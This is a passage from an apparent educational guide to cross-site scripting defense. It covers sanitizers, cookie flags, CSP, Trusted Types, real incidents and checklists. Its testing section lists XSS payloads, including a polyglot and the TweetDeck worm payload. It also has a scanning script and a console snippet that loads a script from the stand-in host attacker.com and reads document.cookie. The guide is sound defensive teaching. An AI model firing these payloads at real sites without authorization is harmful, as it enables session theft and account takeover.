require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($dirty_html);
?>
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;
PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safeHTML = policy.sanitize(untrustedHTML);
#
5. HTTPOnly and Secure Cookie Flags
ESSENTIAL
Prevent JavaScript from accessing cookies:
// Express.js
res.cookie('session', sessionId, {
httpOnly: true, // Prevents JavaScript access
secure: true, // Only sent over HTTPS
sameSite: 'strict' // CSRF protection
});
# Django
response.set_cookie(
'session',
session_id,
httponly=True,
secure=True,
samesite='Strict'
)
// PHP
setcookie(
'session',
$session_id,
[
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]
);
#
6. Template Engine Auto-Escaping
FRAMEWORK FEATURE
Most modern template engines auto-escape by default.
# Auto-escaping enabled by default
from jinja2 import Environment
env = Environment(autoescape=True)
template = env.from_string('<p>{{ user_input }}</p>')
// Auto-escapes by default
const template = Handlebars.compile('<p>{{userInput}}</p>');
// To render raw HTML (dangerous!)
const rawTemplate = Handlebars.compile('<p>{{{userInput}}}</p>');
<!-- Auto-escapes -->
<p><%= userInput %></p>
<!-- Raw output (dangerous!) -->
<p><%- userInput %></p>
#
Detection and Testing
#
Manual Testing Payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
#
Automated Testing Tools
1. Configure Burp as proxy
2. Navigate through application
3. Run active scanner
4. Review XSS findings
# Command line scan
zap-cli quick-scan -s all -r http://example.com
# Advanced XSS detection
python xsstrike.py -u "http://example.com/search?q=test"
import requests
target = "http://example.com/search"
payloads = [
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
"javascript:alert(1)",
"<iframe src=javascript:alert(1)>",
]
for payload in payloads:
response = requests.get(target, params={'q': payload})
if payload in response.text:
print(f"[VULNERABLE] Payload reflected: {payload}")
else:
print(f"[SAFE] Payload blocked or encoded: {payload}")
#
Browser Developer Tools Testing
// Open browser console on target site
// Test if script execution is possible
eval("alert('XSS')");
// Test cookie access
console.log(document.cookie);
// Test DOM manipulation
document.body.innerHTML = '<h1>XSS Test</h1>';
// Test external script loading
var script = document.createElement('script');
script.src = 'http://attacker.com/test.js';
document.body.appendChild(script);
#
Case Studies
#
Case Study 1: MySpace Samy Worm (2005)
WORM ATTACK SOCIAL MEDIA
Attack: Stored XSS worm on MySpace profiles Impact: Over 1 million friend requests in 20 hours Damage: Site taken offline, creator arrested
How it worked:
// Simplified version of Samy worm
<script>
// Add "Samy is my hero" to profile
// Send friend request to Samy
// Copy itself to victim's profile
// Spread exponentially
</script>
Lesson: Stored XSS can spread virally on social platforms.
#
Case Study 2: TweetDeck XSS (2014)
WIDESPREAD TWITTER CLIENT
Attack: Stored XSS in Twitter client Impact: Forced retweets, account takeovers Damage: Service temporarily shut down
Payload:
<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();
$('[data-action=retweet]').click();alert('XSS')</script>
Lesson: Even major platforms with security teams can have XSS vulnerabilities.
#
Case Study 3: British Airways (2018)
DATA BREACH FINANCIAL LOSS
Attack: XSS leading to credit card theft Impact: 380,000 payment cards compromised Damage: £183 million GDPR fine
Method: Attackers injected malicious JavaScript into BA's payment page, skimming credit card data.
Lesson: XSS can lead to massive data breaches and regulatory fines.
#
Case Study 4: eBay Stored XSS (2016)
PHISHING E-COMMERCE
Attack: Stored XSS in product listings Impact: Phishing attacks against eBay users Damage: Reputational harm, user trust issues
Lesson: E-commerce platforms must rigorously validate user-generated content.
#
Advanced Defense Techniques
#
Trusted Types API
MODERN BROWSER
Modern browsers support Trusted Types to prevent DOM XSS:
// Enable Trusted Types
// Add to CSP: require-trusted-types-for 'script'
// Create a policy
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (string) => {
// Sanitize string
return DOMPurify.sanitize(string);
}
});
// Use trusted types
element.innerHTML = policy.createHTML(userInput);
// This will throw an error:
// element.innerHTML = userInput; // TypeError
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy;
#
Subresource Integrity (SRI)
CDN PROTECTION
Protect against compromised CDN scripts:
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
# Using OpenSSL
curl https://cdn.example.com/library.js | openssl dgst -sha384 -binary | openssl base64 -A
#
Feature Policy / Permissions Policy
Permissions-Policy: microphone=(), camera=(), geolocation=()
Prevents XSS from accessing sensitive browser features.
#
X-XSS-Protection Header
X-XSS-Protection: 1; mode=block
Deprecated
Modern browsers rely on CSP instead. This header is mainly for older browsers.
#
Security Headers Summary
COMPREHENSIVE PROTECTION
# Comprehensive XSS protection headers
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'none';
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Implementation (Express.js with Helmet):
const helmet = require('helmet');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
objectSrc: ["'none'"],
baseUri: ["'self'"]
}
},
xssFilter: true,
noSniff: true,
frameguard: { action: 'deny' }
}));
#
Summary: What You Need to Remember
Cross-Site Scripting (XSS) is when hackers inject malicious JavaScript code into trusted websites. When you visit the infected page, the malicious code runs in your browser and can steal your passwords, take over your account, or redirect you to fake websites.
The Simple Version:
- What it is: Hackers make trusted websites "say" malicious things to your browser (like a ventriloquist attack)
- Why it's dangerous: Can steal login sessions, record keystrokes, show fake login pages, and perform actions as you
- How to prevent it: Websites must "escape" user input (convert special characters to safe text) and use Content Security Policy (CSP)
The 3 Types:
- Reflected XSS: Click malicious link → Get attacked (medium danger)
- Stored XSS: Visit infected page → Get attacked automatically (HIGH danger - affects everyone!)
- DOM-Based XSS: Browser's own code creates vulnerability (sneaky!)
Real-World Impact:
- MySpace Samy Worm (2005): 1 million users infected in 20 hours
- TweetDeck (2014): Forced retweets and account takeovers
- British Airways (2018): 380,000 credit cards stolen, £183 million fine
#
Quick Protection Checklist
For Website Owners & Developers:
DO Encode/escape all user input before displaying it (the #1 defense!) DO Implement Content Security Policy (CSP) to block unauthorized scripts DO Use HTTPOnly and Secure flags on cookies (prevents JavaScript from stealing them) DO Validate and sanitize user input (only allow expected characters) DO Use template engines with auto-escaping enabled DO Regular security testing and code reviews
DON'T Trust ANY user input - even from "trusted" users! DON'T Display user input as HTML without escaping special characters DON'T Use dangerous functions like innerHTML, document.write, or eval() with user data DON'T Disable auto-escaping in template engines DON'T Allow javascript: or data: URLs in links DON'T Bypass security features like CSP without a very good reason
For Regular Users (How to Protect Yourself):
TIP Don't click suspicious links, even if they seem to go to trusted sites - check the full URL carefully TIP Use a modern browser (Chrome, Firefox, Edge) - they have built-in XSS protection TIP Install browser extensions like uBlock Origin or NoScript for extra protection TIP Be wary of clicking shortened URLs (bit.ly, tinyurl) - they could hide malicious XSS payloads TIP If a website looks strange or shows unexpected popups, close it immediately TIP Enable two-factor authentication - even if session is stolen, your account stays protected
#
Tools and Resources
#
Testing Tools
- XSS Hunter - Blind XSS detection
- BeEF - Browser Exploitation Framework
- XSStrike - Advanced XSS scanner
- Burp Suite - Web security testing
- OWASP ZAP - Free security scanner
#
Sanitization Libraries
- DOMPurify - JavaScript
- Bleach - Python
- HTML Purifier - PHP
- OWASP Java HTML Sanitizer - Java
#
Learning Resources
- OWASP XSS Guide
- PortSwigger Web Security Academy
- :icon-game: Google XSS Game
- Alert(1) to Win - XSS challenges
Learn More
For comprehensive protection against XSS and other web attacks, explore Layerd AI Guardian Proxy which provides real-time WAF protection with AI-powered threat detection and automatic blocking.
Last updated: November 2025